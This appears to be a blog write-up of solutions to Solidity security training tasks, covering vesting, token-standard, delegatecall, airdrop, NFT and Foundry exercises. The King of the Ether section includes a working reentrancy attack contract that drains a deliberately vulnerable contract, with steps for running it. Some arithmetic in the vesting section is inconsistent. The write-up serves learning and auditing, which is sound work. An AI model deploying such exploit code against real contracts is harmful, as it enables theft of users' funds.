Table of Contents
Hello all, I found some cool solidity security tasks created by Pessimistic Security contributed by @korepkorep and @PavelCore. These challenges looks interesting to me, I solved all of them and you can find my solutions to them below.
Pessimistic Security Tasks Repo : Tasks
My solution Repo : Will Push Soon
Vesting
Description
Vesting contract implements a Token Vesting Pattern. Token Vesting is the process in which purchased tokens are locked and released slowly over time. Particularly this Vesting contract follows the cliff vesting
. Which means the tokens will be locked for the cliff duration and after cliff duration the tokens will be released linearly. The Vesting contracts initializes the token
, cliffMonthDuration
, vestingMonthDuration
, accounts and amounts to be locked. To release tokens release()
is called. The tokens will only be released after the cliff duration has been passed. If the cliff duration passed the amountByMonth
is calculated and the releaseAmount
is calculated for the total months from the star time. The released amount will be transfered to the caller of release()
function.
Vulnerabilities
The main vulnerability is that the tokens sent to the Vesting contract are locked forever. This is because the incorrect calculation of the amountByMonth
.
uint256 amountByMonth = vestingInfo.locked / (vestingDuration + cliffDuration);
Lets say, the cliffMonthDuration = 2
and vestingMonthDuration = 5
and tokens sent are 1000.
vestingDuration + cliffDuration = (2 * 4 weeks) + (5 * 4 weeks)
= 16934400
amountByMonth = 1000 / 1693440, This result 0 in solidity. So, our tokens wont be released unless the total tokens sent are greater than 1693440. That too, we will get very less amount for each month.
Attack POC
POC to catch the vulnerability :
// Before modification
function test_vesting() public{
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
vm.startPrank(address(1));
vm.warp(vest.startTimestamp() + 2*4 weeks + 1);
vm.expectRevert();
vest.release();
vm.stopPrank();
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
}
Recommendation
To fix the bug, we need to calculate the amountByMonth by dividing the (vestingDuration + cliffDuration)
by 4 weeks
.
uint256 amountByMonth = vestingInfo.locked / ((vestingDuration + cliffDuration) / 4 weeks );
What this does is, it ensures to calculate the amout for one month, instead of calculating for the huge number of seconds.
Corrected Code :
// This code snippet is provided by Pessimistic company.
// To apply for the internship opportunity at Pessimistic company,
// please fill out the form by visiting the following link: https://forms.gle/SUTcGi8X86yNoFnG7
// Caution: This code is intended for educational purposes only
// and should not be used in production environments.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.14;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
contract Vesting {
event TokenReleased(
address indexed account,
address indexed token,
uint256 amount
);
struct Info {
uint256 locked;
uint256 released;
}
address public immutable token;
uint256 public immutable startTimestamp;
uint256 internal cliffDuration;
uint256 internal vestingDuration;
mapping(address => Info) internal _vesting;
/**
* @notice constructor
* @param token_ - token address
* @param cliffMonthDuration - cliff duration in months
* @param vestingMonthDuration - vesting duration in months
* @param accounts - vesting accounts
* @param amounts - vesting amounts of accounts
**/
constructor(
address token_,
uint256 cliffMonthDuration,
uint256 vestingMonthDuration,
address[] memory accounts,
uint256[] memory amounts
) {
startTimestamp = uint64(block.timestamp);
token = token_;
cliffDuration = cliffMonthDuration * 4 weeks;
vestingDuration = vestingMonthDuration * 4 weeks;
for (uint256 i = 0; i < accounts.length; i++) {
_vesting[accounts[i]] = Info({locked: amounts[i], released: 0});
}
}
function release() external {
//add history by block
address sender = msg.sender;
require(
block.timestamp > startTimestamp + cliffDuration,
"cliff period has not ended yet."
);
Info storage vestingInfo = _vesting[sender];
- uint256 amountByMonth = vestingInfo.locked / (vestingDuration + cliffDuration);
+ uint256 amountByMonth = vestingInfo.locked / ((vestingDuration + cliffDuration)/ 4 weeks);
uint256 releaseAmount = ((block.timestamp - startTimestamp) / 4 weeks) *
amountByMonth -
vestingInfo.released;
require(releaseAmount > 0, "not enough release amount.");
vestingInfo.released += releaseAmount;
SafeERC20.safeTransfer(IERC20(token), sender, releaseAmount);
}
}
POC To ensure secure code :
// After fixing bug
function test_vestingFixed() public{
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
vm.startPrank(address(1));
vm.warp(vest.startTimestamp() + 2*4 weeks + 1);
vest.release();
vm.stopPrank();
console.log("Balance of Address(1) : ", token.balanceOf(address(1)));
console.log("Balance of Vesting : ", token.balanceOf(address(vest)));
}
Vulnerable BEP20
Description
BEP20 basically refers to a token standard used for creating tokens on Binance Smart Chain, just like ERC20 for creating tokens on Ethereum. BEP20 have many similarities with the ERC20 token standard. To interact with the BSC blockchain, a token based on the BEP-20 standard, BNB, is required to pay for transactions, just like Ether is used to pay for gas fees in the Ethereum blockchain. In fact, the BEP-20 standard is an extension of the ERC–20 standard on Ethereum.
Observations
BEP20.sol file consists of a IBEP20
interface, Context
contract, SafeMath
library, Ownable
contract, BEP20Token
contract. BEP20Token
contract inherits the all the contracts and interface.
- It has two mappings
_balances
and_allowances
similar to ERC20 - BEP20 token has the
name
,symbol
,totalSupply
,decimals
. - The totalSupply is
1000000000000000 * 1e18
will be minted to the contract deployer. balanceOf()
andallowance()
returns the balances, allowances respectively.- It has
approve()
andtransferFrom()
functions similar to ERC20. increaseAllowances()
anddecreaseAllowances()
were used to change the allowances securely.mint()
andburn()
functions were implemented.burnFrom()
function is appeared which is not in ERC20- In
Ownable
contract CEI are not followed. Events were emitted before effects.
Differences from Standard BEP20
Transfer
event was not emitted inside the constructor, were the deployer gets the totalSupply amount of tokens.- No
getOwner()
function is implemented. Which is necessary as per the standard. - Burning a token emits an event
Burn()
. Which is not the standard event. - After burning a token, the
_burn()
should emit an eventTransfer(account, address(0), amount);
burnFrom()
function is defined. Which not necessary and not mentioned in standard.
Recommendations
- Implement
getOwner()
function which is necessary as per standard. - Remove
Burn
event, replace this withTransfer
event. - Use
mint()
function instead of direct update of balance of owner inside constructor. - Use
increaseAllowances()
anddecreaseAllowances()
to change allowances instead ofapprove()
.
Libraries
Description
A library in Solidity is a different type of smart contract that contains reusable code. Once deployed on the blockchain (only once), it is assigned a specific address and its properties / methods can be reused many times by other contracts in the Ethereum network.
Observations
- The CountersUpgradeable and EnumerableSetUpgradeable are removed by the OpenZeppelin, they are no more accessible.
- We can use a storage variable as counter instead of CountersUpgradeable contract, because the arithmetic checks were done by the solidity compiler 0.8.x
- I have manually added these two contracts to keep the challenge as it is.
- The
Libraries.sol
consists of two library contractsItems
andPlacements
. - The
Items
library have two structsItemId
andItem
. TheItems
library functions can be called onItemId
struct. (using Items for ItemId). Placement
library have two structsPlacements
andRegistry
- CountersUpgradeable functions can be called on
CountersUpgradeable.Counter
and Items functions can be calleable onItems.Item
- An abstract contract
ManageStorage
also defined.
Questions
How is the _placementRegistry from the ManagerStorage contract initialized? (Write a mini-contract with 3 variants of initialization. For instance, you can design it as 3 functions).
_placementRegistry
is an instance of structPlacements.Registry
. That is theRegistry
struct insidePlacements
library.placementRegisrty
is not initialized inside ManagerStorage.- Structs with nested mappings can't be directly constructed. i.e, we cannot use
Placements.Registry({})
initialization method. - This is because since version 0.7.0, structs or arrays that contain a mapping can only be used in storage, so Solidity complains because variables in an instantiation function would be in memory by default.
contract Manager is ManagerStorage{ constructor(){ _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); } function initialize() public { _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); } function initializeX(Placements.Placement memory placement) public { _placementRegistry.placementIdTracker = CountersUpgradeable.Counter(0); uint placementId = Placements.register(_placementRegistry, placement); } }
Are the items at line 73 in the Placements contract added correctly? Why? (Give a detailed explanation).
- The items were added to
placementRecord
items correctly. But theplacementId
in line 66 is not defined. This should the the current counter value after increment on Counter.
function register(Registry storage self, Placement memory placement) external returns (uint256 placementId) { self.placementIdTracker.increment(); + placementId = self.placementIdTracker.current(); Placement storage placementRecord = self.placements[placementId]; placementRecord.sender = placement.sender; placementRecord.beneficiary = placement.beneficiary; placementRecord.deadline = placement.deadline; for (uint256 i = 0; i < placement.items.length; i++) { placementRecord.items.push(placement.items[i]); placement.items[i].deposit(placement.fee); } }
- The
placementRecord
is thePlacement
struct. i.e,self.placements[placementId]
is points to the mapping insideRegistry
struct which gets thePlacement
struct from placementId. placementRecord
was updated with sender, beneficiary and deadline.- Then for loop fetches each Item struct from the array of Item structs. They will be pushed to the
placementRecord.items
which is an array of Item structs. - Then
deposit()
is called on theplacement.items[i]
which is a Item struct. We can seeusing Items for Items.Item;
this enabledeposit()
to be called on the Item struct.
- The items were added to
What is the purpose of using Items for ItemtId in Items library? (Give an extended explanation and specify the line in the code).
- By
using Items for ItemId
, the ItemId struct gains access to functions defined within the Items library. This extends the functionality of the ItemId struct without directly modifying its definition. - By extending
ItemId
with the Items library, functions like token and hash become directly accessible to instances of ItemId. - In line 40
address itemToken = item.id.token();
is used to fetch theitemToken
. - The
token()
function is available to call onitem.id
which is nothing but theItemId
instance.
- By
How is the placement fee deducted? Who is it paid from and to whom? How are msg.sender and address(this) changed with each external call? (Give a detailed explanation)
- The registration can be done by using this contract,
contract Manager is ManagerStorage{ function registerPlacement(Placements.Placement memory placement) public returns (uint256 placementId) { placementId = Placements.register(_placementRegistry, placement); } }
- Manager contract will takes the Placement struct and calls the
register()
function of librarPlacements
. - The first paramenter is the
Registry
struct and the second one isPlacements
struct. - The
fee
amount oftoken
will be paid frommsg.sender
to theManager
contract. - The
msg.sender
will always the caller of theregisterPlacement()
function. And thethis
will be the address ofManager()
contract. - This is because when calling public or external functions of libraries,
DELEGATECALL
will be made to the library. - What delegatecall does is, it maintains the context of call. That is the
msg.sender
. So, everytime theregister()
function of Placement library is called, themsg.sender
will be the actual caller of theregisterPlacement()
function.
Vulnerabilities
- The system id vulnerable, in such a that it can accept any tokens, An attacker could deploy a fake token and can register the placement.
- Attacker could even DOS the protocol by passing huge number of items array.
Airdrop
Description
The Airdrop contract implements a Merkle tree for ERC20 pull-based airdrops. Merkle trees used in airdrops , since Merkle proofs allow us to very efficiently implement ERC20 token airdrops. The implementation simple using Openzeppelin MerkleProof library. The Airdrop
contract imports MerkleProof
and SafeERC20
contracts. It stores token
address and merkleroot. And implements a claim()
function for users to pass their merkleproof and amount to claim their tokens.
Vulnerabilities
First of all, the initial check
require(_erc20.balanceOf(msg.sender) == 0);
stops users claiming their tokens even if they haven't claimed it before.An attacker can claim his tokens initially and sends at least
1
token to the other user, in this case the user cannot claim their tokens.So, this is not an efficient check to find the user already claimed the tokens or not.
Instead we can keep a mapping to check the claim status of the users.
And the verification process also incorrectly finding the node.
keccak256(abi.encode(msg.sender))
is the node being verified. But this is not the correct way to check, it should include theamount
.Also, as per OpenZeppelin docs it is suggested to use the following line to extract the leaf node.
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(addr, amount))));
And check the balance of the Airdrop contract.
Fixed code :
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; contract Airdrop { using MerkleProof for bytes32[]; using SafeERC20 for IERC20; bytes32 private _merkleTreeRoot; IERC20 private _erc20; mapping (address => bool) private isClaimed; event Claim(address indexed who, uint256 amount); constructor(IERC20 erc20, bytes32 merkleTreeRoot) { _erc20 = erc20; _merkleTreeRoot = merkleTreeRoot; } function claim(uint256 amount, bytes32[] calldata proof) external { require(!isClaimed[msg.sender], "Already claimed"); require(amount <= _erc20.balanceOf(address(this)), "Out of tokens" ); bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(msg.sender, amount)))); //bytes32 leaf = keccak256(abi.encode(msg.sender, amount)); // this will also works require(proof.verify(_merkleTreeRoot, leaf), "User was not found"); isClaimed[msg.sender] = true; _erc20.safeTransfer(msg.sender, amount); emit Claim(msg.sender, amount); } }
NFT
Description & Observations
First of all the NFT.sol uses the compiler version ^0.8.2
. It imported many external openzeppelin library contracts. The IERC2981Royalties
, IRoyaltiesProvider
, RoyaltiesV2
interfaces, ERC2981Base
, AbstractRoyalties
abstract contracts, LibPart
, LibRoyaltiesV2
, libraries and NFT
contract were defined. It uses role based access control on functions. At an high level the NFT contracts implements an ERC721 token standard.
Configuration
To install dependencies of NFT.sol run following command.
npm i @openzeppelin/contracts@4.9.0-rc.0 --save-dev
Install
solc-select
and0.8.2
solc versionpip3 install solc-select
solc-select install 0.8.2
solc-select use 0.8.2
Run slither
slither . --solc-disable-warnings --exclude-informational
Slither Output & Validation
[HIGH] Nft.withdraw() (src/NFT/NFT.sol#328-332) sends eth to arbitrary user.
The vulnerability is because of unprotected call to a function sending Ether to an arbitrary address.
/// @dev owner can withdraw Ether sent to the contract function withdraw() public onlyRole(CEO) { uint256 balance = address(this).balance; require(balance != 0); payable(msg.sender).transfer(balance); }
The
withdraw()
function should send the contract balance to theowner
. Here, the balance was sent to themsg.sender
.Only callers who have the
CEO
role can call thewithdraw()
function.The
CEO
role was assigned to the contract deployer. The actual owner is also the contract deployer.So,
msg.sender
will be theowner
orCEO
.If any unwanted bypass has been done to the
onlyRole(CEO)
, the funds will be lost.Its recommended to send the balance to the
owner
instead ofmsg.sender
./// @dev owner can withdraw Ether sent to the contract function withdraw() public onlyRole(CEO) { uint256 balance = address(this).balance; require(balance != 0); - payable(msg.sender).transfer(balance); + payable(owner).transfer(balance); }
[HIGH] Nft.tokenURI(uint256) (src/NFT/NFT.sol#235-243) calls abi.encodePacked() with multiple dynamic arguments.
The vulnerability is a collision due to dynamic type usages in abi.encodePacked
As the solidity docs describe, two or more dynamic types are passed to abi.encodePacked. Moreover, these dynamic values are user-specified function arguments in external functions, meaning anyone can directly specify the value of these arguments when calling the function.
function tokenURI(uint256 _tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { string memory _str = Strings.toString(_tokenId); return string(abi.encodePacked(baseUri, _str, suffix)); }
Here the vulnerability has no effect, because the abi.encodePacked is not dealing with user specifed dynamic inputs.
But, it missing a minor check of the
baseUri
length.return baseUri.length > 0 ? string(abi.encodePacked(baseUri, _str, suffix)): "" ;
The usage of the
abi.encodePacked
becomes vulnerable in the case of hash verification.If you use
keccak256(abi.encodePacked(a, b))
and both a and b are dynamic types, it is easy to craft collisions in the hash value by moving parts ofa
intob
and vice-versa.More specifically,
abi.encodePacked("a", "bc") == abi.encodePacked("ab", "c")
.
[MEDIUM] Reentrancy in Nft.summon(address,uint256) (src/NFT/NFT.sol#189-220)
Slither found this as vulnerability because the state variable updates were done after the external calls.
The external calls was done on a token functions, they are not the low level
call
's.There is no high severity in this vulnerability because, the
transferFrom
function doesnt invoke any fallback of the caller.However attacker could write a malicious ERC-20 with custom transferFrom() or approve() that have re-entrancy hooks to attack a target.
To do this, attacker has to update the
utilityToken
orgovernanceToken
address. This can only done by the users with roleCLEVEL
To mitigate these possible attacks we can follow the CEI pattern.
function summon(address _to, uint256 _tokenId) external whenNotPaused payable { require(summoningEnabled, 'Summoning is currently disabled'); require(_exists(_tokenId), 'Token does not exist'); require(ownerOf(_tokenId) == msg.sender, 'Sender is not the token owner'); require(items[_tokenId].lastSummoned + summoningLock < block.timestamp, 'Need to wait to summon'); require(items[_tokenId].summonCount < maxSummoningCount, 'Exceeded Summoning Count'); uint256 utilitySummoningFee = summoningCosts[utilityToken][items[_tokenId].summonCount]; uint256 governanceSummoningFee = summoningCosts[governanceToken][items[_tokenId].summonCount]; // Push a summoned token to the items array items.push(Item(block.timestamp, 0, 0, _tokenId, true)); items[_tokenId].summonCount++; items[_tokenId].lastSummoned = block.timestamp; if(utilitySummoningFee > 0) { require(ERC20(address(utilityToken)).transferFrom(msg.sender, address(this), utilitySummoningFee), "Transfer failed"); } if(governanceSummoningFee > 0) { require(ERC20(address(governanceToken)).transferFrom(msg.sender, address(this), governanceSummoningFee), "Transfer failed"); } // Mint the new summoned token uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(_to, tokenId); emit Summoned(msg.sender, _to, tokenId); }
[LOW] Nft.royaltyInfo(uint256,uint256).royalties (src/NFT/NFT.sol#356) shadows
- This is a variable shadowing vulnerability
royalties
variable inAbstractRoyalties
in line 85 is being shadowed by theroyalties
variable at line 356.
[LOW] Nft.updateUtilityAddress(address)._address (src/NFT/NFT.sol#278) lacks a zero-check on
- Lack of zero address check of
_address
inupdateUtilityAddress()
function.
- Lack of zero address check of
[LOW] Nft.updateGovernanceAddress(address)._address (src/NFT/NFT.sol#284) lacks a zero-check on
- Lack of zero address check of
_address
inupdateGovernanceAddress()
function.
- Lack of zero address check of
[LOW] Nft.setOwner(address)._owner (src/NFT/NFT.sol#316) lacks a zero-check on
- Zero address check has to be done when updating new
owner
insetOwner()
function.
- Zero address check has to be done when updating new
[LOW] Nft.updateRoyaltyAddress(address)._address (src/NFT/NFT.sol#363) lacks a zero-check on
- No zero address check of new royalty address in
updateRoyaltyAddress
.
- No zero address check of new royalty address in
[LOW] Reentrancy in Nft.safeMint(address) (src/NFT/NFT.sol#181-187)
Again slither marking this as a reentrancy, because the sate variable updation was done after the external call.
Update the function as follows
function safeMint(address _to) public whenNotPaused onlyRole(CLEVEL) { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); items.push(Item(block.timestamp, 0, 0, 0, false)); _safeMint(_to, tokenId); emit AdminMinted(msg.sender, _to, tokenId); }
[LOW] Nft.summon(address,uint256) (src/NFT/NFT.sol#189-220) uses timestamp for comparisons.
- The usage of
block.timestamp
for deadline check can be exploited by the malicious validators. - This offers no protection as
block.timestamp
will have the value of whichever block the txn is inserted into, hence the txn can be held indefinitely by malicious validators.
- The usage of
Foundry Task
Description
The PriceGetter contract is designed to fetch the price conversion rate from DAI to USDC using Uniswap V3's price oracle. Contract have dai and usdc token addresses on arbitrum and Time Weighted Average Price (TWAP) as 1800. The daiToUsdc()
function calculates and returns the amount of USDC equivalent to a given amount of DAI.
To install dependencies :
$ forge install uniswap/v3-core --no-commit
$ forge install uniswap/v3-periphery --no-commit
Initial Test Results :
mj0ln1r@Linux:~/internship-tasks/Foundry task$ forge test -vv --fork-url https://rpc.ankr.com/arbitrum
[⠑] Compiling...
No files changed, compilation skipped
Running 1 test for test/PriceGetter.t.sol:PriceGetterTest
[FAIL. Reason: assertion failed] test_DaiToWant() (gas: 88731)
Logs:
Error: a < b not satisfied [uint]
Value a: 1000497454863863263864864160056
Value b: 1100000
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 14.88s
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/PriceGetter.t.sol:PriceGetterTest
[FAIL. Reason: assertion failed] test_DaiToWant() (gas: 88731)
Encountered a total of 1 failing tests, 0 tests succeeded
Reason of test fail
The price range of the DAI/USDC pool is always lies between 0.9 to 1.1. This is because DAI and USDC are both stablecoins, which are designed to maintain a value close to 1 USD. The range of 0.9 to 1.1 is chosen to accommodate minor fluctuations in the price of these stablecoins. If the price of DAI/USDC falls outside this range, LPs may choose to remove their liquidity to avoid potential losses.
The
assertGt(price, 9 * 10 ** (usdcDecimals - 1))
andassertLt(price, 11 * 10 ** (usdcDecimals - 1))
lines are assertions to verify that the fetched price is within the expected range.That is the fetched prize should be between,
900000
and1100000
.The price we result is in high precision. We can round the price in terms of
usdc
by dividing the price with10**(usdcDecimals + daiDecimals)
function test_DaiToWant() public { uint256 price= priceGetter.daiToUsdc(10 ** daiDecimals); price = price/ 10**(usdcDecimals + daiDecimals); assertGt(price, 9 * 10 ** (usdcDecimals - 1)); // price > 0.9$ assertLt(price, 11 * 10 ** (usdcDecimals - 1)); // price < 1.1$ }
We can also calculate the
price
by the formula1.0001 ** tick
Then the result can be divided by
10**6
to get the price inUSDC
.The above updated test will pass and it ensures the price of usdc is between 0.9 to 1.1.
mj0ln1r@AHLinux:~/internship-tasks/Foundry task$ forge test -vv --fork-url https://rpc.ankr.com/arbitrum
[⠑] Compiling...
No files changed, compilation skipped
Running 1 test for test/PriceGetter.t.sol:PriceGetterTest
[PASS] test_DaiToWant() (gas: 23487)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.27s
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Delegatecall
Description
The DelegateCall.sol consists of four contract Manager
, MetaHub
, Vault
and Controller
. Two interfaces which are used to interact with MetaHub
and Controller
. One Assets
library is defined. These contracts makes a complex calls and delegatecalls.
Questions
Which contract is the entry point?
- The entry point of this contract chain is the
Manager
contract. - The
deposit()
function in theManager
contract is the starting point for this contract interaction. When a user calls the deposit function with a specific tokenId, it triggers a call to the deposit function in theMetahub
contract and the chain continues.
- The entry point of this contract chain is the
Where in the code is the
onERC721Received
function from Vault called? You need to write out the call chain.Where in the code is theonERC721Received
function from Vault called? You need to write out the call chain.- The
onERC721Received
functionis defined insideVault
contract, but it was not called directly. - When we call
deposit()
function inManager
with a tokenId, it will call thedeposit()
function of theMetaHub
contract. - The
MetaHub
contract now calls thetransferAssetToVault()
function onAssets
library. - Then the
Assets
library will make adelegatecall
to thetransferAssetToVault()
on theController
contract. - The
Controller
contract will call the internal_transferAsset()
function. - The
_transferAsset()
function will now calls thetransferFrom()
function ofERC721
contract with theto
value as theVault
address. - Finally, when the asset sent to the
Vault
theonERC721Received()
will be invoked. - NOTE: In openzeppelin ERC721 contract the
onERC721Received()
onlycalled if we sent asset usingsafeTransferFrom()
. - Tx chain : Manager -> MetaHub -> Assets -> Controller -> ERC721 -> Vault.onERC721Received().
- The
What are
address(this)
andmsg.sender
equal to when Controller.transferAssetToVault is called?- The
address(this)
will be theMetaHub
andmsg.sender
will beMetahub
. Controller.transferAssetToVault()
is called by theAssets
library throughdelegatecall
. i.e,msg.sender
,address(this)
will be maintained from theAssets
.Assets.transferAssetToVault()
is called by theMetHub.deposit()
withdelegatecall
because the call is to a library.- So, the
msg.sender
andaddress(this)
atAssets.transferAssetToVault()
same as values atController.transferAssetToVault()
.
- The
Will
require
of modifierwhenAssetDepositAllowed
(Vault contract) be reverted or not? Why?The
require
will not reverted, because theoperator
is the_metahub
address.operator
is themsg.sender
inside the ERC721 contract.try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval)
_msgSender()
is the operator that passed toonERC721Received()
.msg.sender
in ERC721 is theMetahub
contract address. Because the Metahub delegatecalls Controller function which calls the ERC721 contract.
Will modifier
onlyDelegatecall
from Controller contract correctly work out? Why?onlyDelegatecall
modifier is working properly.modifier onlyDelegatecall() { if (address(this) == __self) revert FunctionMustBeCalledThroughDelegatecall(); _; }
address(this)
when a delegatecall was made fromAssets
library will be theaddress(this)
inside theAssets
.So, the
address(this)
atonlyDelegatecall
modifier will be the address ofMetaHub
.If the
address(this)
is same as the__self
that means no delegatecall was made. So, the modifier will revert.
How many contracts are being deployed? Which ones?
- Manager, Vault, Controller, MetaHub and already deployed Token contract.
King of the Ether
Description
The KingOfEther contract is implemented in the way that it is mentioned. Every user is able to send ether to the contracts unti the game is on. The one who stakes most will be the king and he will get 1 ether extra as a reward. And every users will be able to withdraw funds once the game is over.
KingsOfEther
```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract KingOfEther{
address public owner;
address public king;
bool public isGameOver;
uint public startingTime;
mapping (address => uint) public stakes;
event King(address, uint);
constructor() payable {
require(msg.value == 1 ether, "Send 1 ether on deployment");
startingTime = block.timestamp;
owner = msg.sender;
isGameOver = false;
}
function depositStake() public payable {
require(msg.value > 0, "0 Amount not valid");
require(!isGameOver, "Game ended");
stakes[msg.sender] += msg.value;
if(stakes[msg.sender] > stakes[king]){
king = msg.sender;
emit King(king, stakes[king]);
}
}
function endGame() public {
require(block.timestamp > startingTime + 30, "Can't end now");
require(!isGameOver, "Alredy ended");
stakes[king] += 1 ether;
isGameOver = true;
}
function withdraw() public {
require(isGameOver, "Game not ended");
require(stakes[msg.sender] > 0, "You have no stakes");
(bool success, ) = msg.sender.call{value: stakes[msg.sender]}("");
require(success, "Withdraw Failed");
stakes[msg.sender] = 0;
}
}
```
The
withdraw()
function is vulnerable to Reentrancy as it makes external call before updating the stake value.The
AttackKing
contract will exploit the KingOfEther and drains all the ether.contract AttackKing{ KingOfEther public kingContract; constructor(address _kingContract) { kingContract = KingOfEther(_kingContract); } function deposit() public payable { kingContract.depositStake{value: 1 ether}(); } function exploit() public { require(block.timestamp > kingContract.startingTime()+30, "Wait to exploit"); if(!kingContract.isGameOver()){ kingContract.endGame(); } kingContract.withdraw(); } receive() external payable { if(address(kingContract).balance >= 1 ether){ kingContract.withdraw(); } } }
Call
deposit()
first then callexploit()
to attack theKingOfEther
.
Vulnerable ERC20
Description
ERC20 is a fungible token standard came from EIP20. ERC20 Tokens are widely used fungible tokens in ethereum. The ERC20 token must implement the necessary functions mentioned in the EIP20 proposal.
Observations
- The ERC20.sol file consists of a
SafeMath
library and aERC20
contract. ERC20
contract uses SafeMath library on the uint256 instances.- It has basic state variables name, total_supply, symbol, decimals which are required for a ERC20 token.
- It uses two mappings
_balances
andallowances
to keep track balances of user and allowances of a user. balanceOf()
function returns the token balance of an address andallowance()
returns approval amount of tokens by the owner to the spender.transfer()
function transfers the tokens between addresses. And emitsTransfer
event on transfer.approve()
function approves a spender to spend owner tokens. EmitsApprove
event on approval.transferFrom()
used to transfer the tokens on behalf of the token owner by the spender.
Differences from Standard ERC20
- Vulnerable ERC20 enables custom decimal places, while many ERC20 tokens follows the standard 18 decimals.
- Owner will get the the
totalSupply
of token balance after deploying the token. approve()
function not checking theto
address. (Missing zero address check).transfer()
function is not following the standard ERC20 pattern.- Transferring tokens from one address to other address will transfer
6%
of tokens to theowner
. - The
Transfer
event only emits with the actualfrom
andto
andamount
. Transfer
event not emitted with the fee tokens sent to theowner
.- Also emitted token amount is the amount that user wants to send. Not the actual amount that being sent (minus comission).
TransferFrom()
function not checking for the allowed allowances, this not result in any token loss but overflow will occur if the amount passed to the TransferFrom is greater than the actual allowance- All the functions are
public
by default in standard ERC20.
Vulnerabilities & Recommendations
approve()
allows the spender account using a given number of tokens by updating the value of allowance.- Suppose the spender account is able to control miners' confirming order of transferring, then spender could use up all allowance before approve comes into effect.
- After approve() is effective, spender has access to the new allowance, causing total tokens spent greater than expected and resulting in Re-approve attack.
- Using
increaseApprove()
anddecreaseApprove()
functions are the recommendatios for it. - Recommended to declare state variables private and use implement public functions to read them.
- Its recommended to inherit OpenZeppelin ERC20 contract to use.
Thank you !